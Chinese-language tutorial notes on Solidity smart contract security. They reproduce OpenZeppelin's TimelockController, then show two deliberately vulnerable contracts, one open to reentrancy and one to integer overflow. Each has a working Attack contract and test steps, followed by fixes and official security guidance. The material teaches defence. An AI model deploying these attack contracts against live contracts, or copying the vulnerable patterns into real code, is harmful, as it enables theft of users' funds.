- 对合约的一种保护机制。任何更新操作都是先进入队列。经过一段时间后,才可以真正执行。
- DeFi 类 Dapp 都会加时间锁。
- 测试合约
Main
- 时间锁合约
TimeLock
Main
内的函数,只能由TimeLock
调用。TimeLock
不能立即调用,需要加事件延迟。
以下代码来自 OpenZeppelin TimelockController
contract TimelockController is AccessControl, IERC721Receiver, IERC1155Receiver {
bytes32 public constant TIMELOCK_ADMIN_ROLE = keccak256("TIMELOCK_ADMIN_ROLE");
bytes32 public constant PROPOSER_ROLE = keccak256("PROPOSER_ROLE");
bytes32 public constant EXECUTOR_ROLE = keccak256("EXECUTOR_ROLE");
bytes32 public constant CANCELLER_ROLE = keccak256("CANCELLER_ROLE");
uint256 internal constant _DONE_TIMESTAMP = uint256(1);
mapping(bytes32 => uint256) private _timestamps;
uint256 private _minDelay;
/**
* @dev Emitted when a call is scheduled as part of operation `id`.
*/
event CallScheduled(
bytes32 indexed id,
uint256 indexed index,
address target,
uint256 value,
bytes data,
bytes32 predecessor,
uint256 delay
);
/**
* @dev Emitted when a call is performed as part of operation `id`.
*/
event CallExecuted(bytes32 indexed id, uint256 indexed index, address target, uint256 value, bytes data);
/**
* @dev Emitted when operation `id` is cancelled.
*/
event Cancelled(bytes32 indexed id);
/**
* @dev Emitted when the minimum delay for future operations is modified.
*/
event MinDelayChange(uint256 oldDuration, uint256 newDuration);
/**
* @dev Initializes the contract with the following parameters:
*
* - `minDelay`: initial minimum delay for operations
* - `proposers`: accounts to be granted proposer and canceller roles
* - `executors`: accounts to be granted executor role
* - `admin`: optional account to be granted admin role; disable with zero address
*
* IMPORTANT: The optional admin can aid with initial configuration of roles after deployment
* without being subject to delay, but this role should be subsequently renounced in favor of
* administration through timelocked proposals. Previous versions of this contract would assign
* this admin to the deployer automatically and should be renounced as well.
*/
constructor(uint256 minDelay, address[] memory proposers, address[] memory executors, address admin) {
_setRoleAdmin(TIMELOCK_ADMIN_ROLE, TIMELOCK_ADMIN_ROLE);
_setRoleAdmin(PROPOSER_ROLE, TIMELOCK_ADMIN_ROLE);
_setRoleAdmin(EXECUTOR_ROLE, TIMELOCK_ADMIN_ROLE);
_setRoleAdmin(CANCELLER_ROLE, TIMELOCK_ADMIN_ROLE);
// self administration
_setupRole(TIMELOCK_ADMIN_ROLE, address(this));
// optional admin
if (admin != address(0)) {
_setupRole(TIMELOCK_ADMIN_ROLE, admin);
}
// register proposers and cancellers
for (uint256 i = 0; i < proposers.length; ++i) {
_setupRole(PROPOSER_ROLE, proposers[i]);
_setupRole(CANCELLER_ROLE, proposers[i]);
}
// register executors
for (uint256 i = 0; i < executors.length; ++i) {
_setupRole(EXECUTOR_ROLE, executors[i]);
}
_minDelay = minDelay;
emit MinDelayChange(0, minDelay);
}
/**
* @dev Modifier to make a function callable only by a certain role. In
* addition to checking the sender's role, `address(0)` 's role is also
* considered. Granting a role to `address(0)` is equivalent to enabling
* this role for everyone.
*/
modifier onlyRoleOrOpenRole(bytes32 role) {
if (!hasRole(role, address(0))) {
_checkRole(role, _msgSender());
}
_;
}
/**
* @dev Contract might receive/hold ETH as part of the maintenance process.
*/
receive() external payable {}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, AccessControl) returns (bool) {
return interfaceId == type(IERC1155Receiver).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns whether an id correspond to a registered operation. This
* includes both Pending, Ready and Done operations.
*/
function isOperation(bytes32 id) public view virtual returns (bool registered) {
return getTimestamp(id) > 0;
}
/**
* @dev Returns whether an operation is pending or not.
*/
function isOperationPending(bytes32 id) public view virtual returns (bool pending) {
return getTimestamp(id) > _DONE_TIMESTAMP;
}
/**
* @dev Returns whether an operation is ready or not.
*/
function isOperationReady(bytes32 id) public view virtual returns (bool ready) {
uint256 timestamp = getTimestamp(id);
return timestamp > _DONE_TIMESTAMP && timestamp <= block.timestamp;
}
/**
* @dev Returns whether an operation is done or not.
*/
function isOperationDone(bytes32 id) public view virtual returns (bool done) {
return getTimestamp(id) == _DONE_TIMESTAMP;
}
/**
* @dev Returns the timestamp at which an operation becomes ready (0 for
* unset operations, 1 for done operations).
*/
function getTimestamp(bytes32 id) public view virtual returns (uint256 timestamp) {
return _timestamps[id];
}
/**
* @dev Returns the minimum delay for an operation to become valid.
*
* This value can be changed by executing an operation that calls `updateDelay`.
*/
function getMinDelay() public view virtual returns (uint256 duration) {
return _minDelay;
}
/**
* @dev Returns the identifier of an operation containing a single
* transaction.
*/
function hashOperation(
address target,
uint256 value,
bytes calldata data,
bytes32 predecessor,
bytes32 salt
) public pure virtual returns (bytes32 hash) {
return keccak256(abi.encode(target, value, data, predecessor, salt));
}
/**
* @dev Returns the identifier of an operation containing a batch of
* transactions.
*/
function hashOperationBatch(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata payloads,
bytes32 predecessor,
bytes32 salt
) public pure virtual returns (bytes32 hash) {
return keccak256(abi.encode(targets, values, payloads, predecessor, salt));
}
/**
* @dev Schedule an operation containing a single transaction.
*
* Emits a {CallScheduled} event.
*
* Requirements:
*
* - the caller must have the 'proposer' role.
*/
function schedule(
address target,
uint256 value,
bytes calldata data,
bytes32 predecessor,
bytes32 salt,
uint256 delay
) public virtual onlyRole(PROPOSER_ROLE) {
bytes32 id = hashOperation(target, value, data, predecessor, salt);
_schedule(id, delay);
emit CallScheduled(id, 0, target, value, data, predecessor, delay);
}
/**
* @dev Schedule an operation containing a batch of transactions.
*
* Emits one {CallScheduled} event per transaction in the batch.
*
* Requirements:
*
* - the caller must have the 'proposer' role.
*/
function scheduleBatch(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata payloads,
bytes32 predecessor,
bytes32 salt,
uint256 delay
) public virtual onlyRole(PROPOSER_ROLE) {
require(targets.length == values.length, "TimelockController: length mismatch");
require(targets.length == payloads.length, "TimelockController: length mismatch");
bytes32 id = hashOperationBatch(targets, values, payloads, predecessor, salt);
_schedule(id, delay);
for (uint256 i = 0; i < targets.length; ++i) {
emit CallScheduled(id, i, targets[i], values[i], payloads[i], predecessor, delay);
}
}
/**
* @dev Schedule an operation that is to become valid after a given delay.
*/
function _schedule(bytes32 id, uint256 delay) private {
require(!isOperation(id), "TimelockController: operation already scheduled");
require(delay >= getMinDelay(), "TimelockController: insufficient delay");
_timestamps[id] = block.timestamp + delay;
}
/**
* @dev Cancel an operation.
*
* Requirements:
*
* - the caller must have the 'canceller' role.
*/
function cancel(bytes32 id) public virtual onlyRole(CANCELLER_ROLE) {
require(isOperationPending(id), "TimelockController: operation cannot be cancelled");
delete _timestamps[id];
emit Cancelled(id);
}
/**
* @dev Execute an (ready) operation containing a single transaction.
*
* Emits a {CallExecuted} event.
*
* Requirements:
*
* - the caller must have the 'executor' role.
*/
// This function can reenter, but it doesn't pose a risk because _afterCall checks that the proposal is pending,
// thus any modifications to the operation during reentrancy should be caught.
// slither-disable-next-line reentrancy-eth
function execute(
address target,
uint256 value,
bytes calldata payload,
bytes32 predecessor,
bytes32 salt
) public payable virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) {
bytes32 id = hashOperation(target, value, payload, predecessor, salt);
_beforeCall(id, predecessor);
_execute(target, value, payload);
emit CallExecuted(id, 0, target, value, payload);
_afterCall(id);
}
/**
* @dev Execute an (ready) operation containing a batch of transactions.
*
* Emits one {CallExecuted} event per transaction in the batch.
*
* Requirements:
*
* - the caller must have the 'executor' role.
*/
function executeBatch(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata payloads,
bytes32 predecessor,
bytes32 salt
) public payable virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) {
require(targets.length == values.length, "TimelockController: length mismatch");
require(targets.length == payloads.length, "TimelockController: length mismatch");
bytes32 id = hashOperationBatch(targets, values, payloads, predecessor, salt);
_beforeCall(id, predecessor);
for (uint256 i = 0; i < targets.length; ++i) {
address target = targets[i];
uint256 value = values[i];
bytes calldata payload = payloads[i];
_execute(target, value, payload);
emit CallExecuted(id, i, target, value, payload);
}
_afterCall(id);
}
/**
* @dev Execute an operation's call.
*/
function _execute(address target, uint256 value, bytes calldata data) internal virtual {
(bool success, ) = target.call{value: value}(data);
require(success, "TimelockController: underlying transaction reverted");
}
/**
* @dev Checks before execution of an operation's calls.
*/
function _beforeCall(bytes32 id, bytes32 predecessor) private view {
require(isOperationReady(id), "TimelockController: operation is not ready");
require(predecessor == bytes32(0) || isOperationDone(predecessor), "TimelockController: missing dependency");
}
/**
* @dev Checks after execution of an operation's calls.
*/
function _afterCall(bytes32 id) private {
require(isOperationReady(id), "TimelockController: operation is not ready");
_timestamps[id] = _DONE_TIMESTAMP;
}
/**
* @dev Changes the minimum timelock duration for future operations.
*
* Emits a {MinDelayChange} event.
*
* Requirements:
*
* - the caller must be the timelock itself. This can only be achieved by scheduling and later executing
* an operation where the timelock is the target and the data is the ABI-encoded call to this function.
*/
function updateDelay(uint256 newDelay) external virtual {
require(msg.sender == address(this), "TimelockController: caller must be timelock");
emit MinDelayChange(_minDelay, newDelay);
_minDelay = newDelay;
}
/**
* @dev See {IERC721Receiver-onERC721Received}.
*/
function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) {
return this.onERC721Received.selector;
}
/**
* @dev See {IERC1155Receiver-onERC1155Received}.
*/
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes memory
) public virtual override returns (bytes4) {
return this.onERC1155Received.selector;
}
/**
* @dev See {IERC1155Receiver-onERC1155BatchReceived}.
*/
function onERC1155BatchReceived(
address,
address,
uint256[] memory,
uint256[] memory,
bytes memory
) public virtual override returns (bytes4) {
return this.onERC1155BatchReceived.selector;
}
}
合约取款方法被多次触发,导致发送金额不符合预期流程。
合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.10;
contract Demo {
mapping(address => uint256) public balances;
// 存款
function deposit() public payable {
balances[msg.sender] += msg.value;
}
// 取款
function withdraw(uint256 _amount) public {
require(balances[msg.sender] >= _amount, "Insufficient balance");
(bool success, ) = msg.sender.call{value: _amount}("");
require(success, "Failed to send");
balances[msg.sender] -= _amount;
}
/*
* ========================================
* Helper
* ========================================
*/
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
contract Attack {
Demo public demo;
constructor(address _demoAddress) public {
demo = Demo(_demoAddress);
}
fallback() external payable {
if (address(demo).balance >= 1 ether) {
demo.withdraw(1 ether);
}
}
function attack() external payable {
require(msg.value >= 1 ether, "need 1 ether");
demo.deposit{value: 1 ether}();
demo.withdraw(1 ether);
}
/*
* ========================================
* Helper
* ========================================
*/
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
合约测试
- address1 部署
Demo
- address1 调用
Demo.deposit
存入 10 ETH - address1 调用
Demo.getBalance
查看余额 - address2 部署攻击合约
Attack
;- 参数是 Demo 合约地址
- address2 调用
Attack.attack
,并且发送 1Eth,发起攻击 - 查看
Attack.getBalance
余额 - 查看
Demo.getBalance
余额
-
先赋值再进行转账
修改前:
(bool success, ) = msg.sender.call{value: _amount}(""); require(success, "Failed to send"); balances[msg.sender] -= _amount;
修改后:
balances[msg.sender] -= _amount; (bool success, ) = msg.sender.call{value: _amount}(""); require(success, "Failed to send");
修改后,再次跳用,因为数据已经被修改了,所以报错
"Failed to send".
-
使用新版本的 Solidity 编写,
- 比如上面使用的是
^0.6.10
,换成^0.8.16
就没有这个问题。
- 比如上面使用的是
-
使用状态变量和
modifier
配合做防重入锁- 比如在
withdraw
上增加如下修改器。
bool internal locked; modifier noReentrant() { require(!locked, "no reentrant"); locked = true; _; locked = false; }
- 比如在
uint
相当于uint256
- 范围:
0 <= x <= 2**256 -1
- 上溢(overflow): 超出
2**256 -1
后,变成 0 - 下溢(underflow): 低于
0
后,变成2**256 -1
- 范围:
下面是一个锁定合约,可以通过攻击,忽略锁定期直接取钱,无需等待。
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.10;
contract Demo {
mapping(address => uint256) public balances;
mapping(address => uint256) public lockTime;
// 存
function deposit() public payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks;
}
// 取
function withdraw() external {
require(balances[msg.sender] > 0, "Insufficient balance");
require(lockTime[msg.sender] < block.timestamp, "lock-in period");
uint256 amount = balances[msg.sender];
balances[msg.sender] = 0;
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Send failed");
}
// 续时间
function increaseLockTime(uint256 time) public {
lockTime[msg.sender] += time;
}
}
contract Attack {
Demo public demo;
constructor(address _demoAddress) public {
demo = Demo(_demoAddress);
}
fallback() external payable {}
function attack() external payable {
demo.deposit{value: msg.value}();
// uint(-1) => uint(2**256-1)
// currentTime = demo.balances(msg.sender)
// 增加的时间 x = 2**256 - currentTime
// 增加的时间 x = - currentTime
demo.increaseLockTime(uint256(-demo.lockTime(address(this))));
demo.withdraw();
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
合约测试
- 部署 Demo
- 部署 Attack ,使用 Demo 地址。
- 使用
Attack.attack
- 调用
Attack.getBalance
发现钱已经取回来了。
-
使用高版本的 Solidity,比如
^0.8.16;
-
引用
OpenZeppelin
,使用其中的SafeMath
进行操作- 此时再进行攻击,会收到 SafeMath 内的报错
"SafeMath: addition overflow".
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.4/contracts/math/SafeMath.sol"; function increaseLockTime(uint256 time) public { // lockTime[msg.sender] += time; lockTime[msg.sender] = lockTime[msg.sender].add(time); // add 是 SafeMath 内的方法 }
- 此时再进行攻击,会收到 SafeMath 内的报错
以下内容来自 Solidity 合约文档
如果编译器警告您一些事情,您应该改变它。 即使您不认为这个特定的警告有安全问题,但也可能在它下面埋藏着另一个问题。 我们发出的任何编译器警告都可以通过对代码的轻微修改来消除。
始终使用最新版本的编译器,以获知所有最近引入的警告。
编译器发出的 info
类型的信息并不危险,只是代表编译器认为可能对用户有用的额外建议和可选信息。
限制智能合约中可存储的以太币(或其他代币)的数量。 如果您的源代码,编译器或平台有错误,这些资金可能会丢失。 如果您想限制您的损失,就限制以太币的数量。
保持您的合约短小而容易理解。把不相关的功能单独放在其他合约中或放在库中。 关于源代码质量的一般建议当然也适用:限制局部变量的数量和函数的长度,等等。 给您的函数添加注释,这样别人就可以看到您的意图是什么, 并判断代码是否按照正确的意图实现。
大多数函数会首先进行一些检查(谁调用了这个函数,参数是否在范围内, 他们是否发送了足够的以太,这个人是否有代币,等等)。这些检查应该首先完成。
第二步,如果所有的检查都通过了,就应该对当前合约的状态变量进行影响。 与其他合约的交互应该是任何函数的最后一步。
早期的合约延迟了一些效果,等待外部函数调用在非错误状态下返回。 这往往是一个严重的错误,因为上面解释了重入问题。
请注意,对已知合约的调用也可能反过来导致对未知合约的调用,因此,最好总是应用这种模式。
尽管将系统完全去中心化可以省去许多中间环节,但包含某种故障-安全模式仍然是好的做法, 尤其是对于新的代码来说:
您可以在您的智能合约中添加一个功能,执行一些自我检查,如 “是否有任何以太币泄漏?”, “代币的总和是否等于合约的余额?” 或类似的事情。 请记住,您不能为此使用太多的 gas,所以可能需要通过链外计算的帮助。
如果自我检查失败,合约会自动切换到某种 “故障安全” 模式, 例如,禁用大部分功能,将控制权移交给一个固定的,可信赖的第三方, 或者只是将合约转换为一个简单的 “退回我的钱” 的合约。
检查一段代码的人越多,发现的问题就越多。 要求其他人审查您的代码也有助于作为交叉检查, 找出您的代码是否容易理解 - 这是好的智能合约的一个非常重要的标准。
下面是相关的官方中文文档,推荐阅读。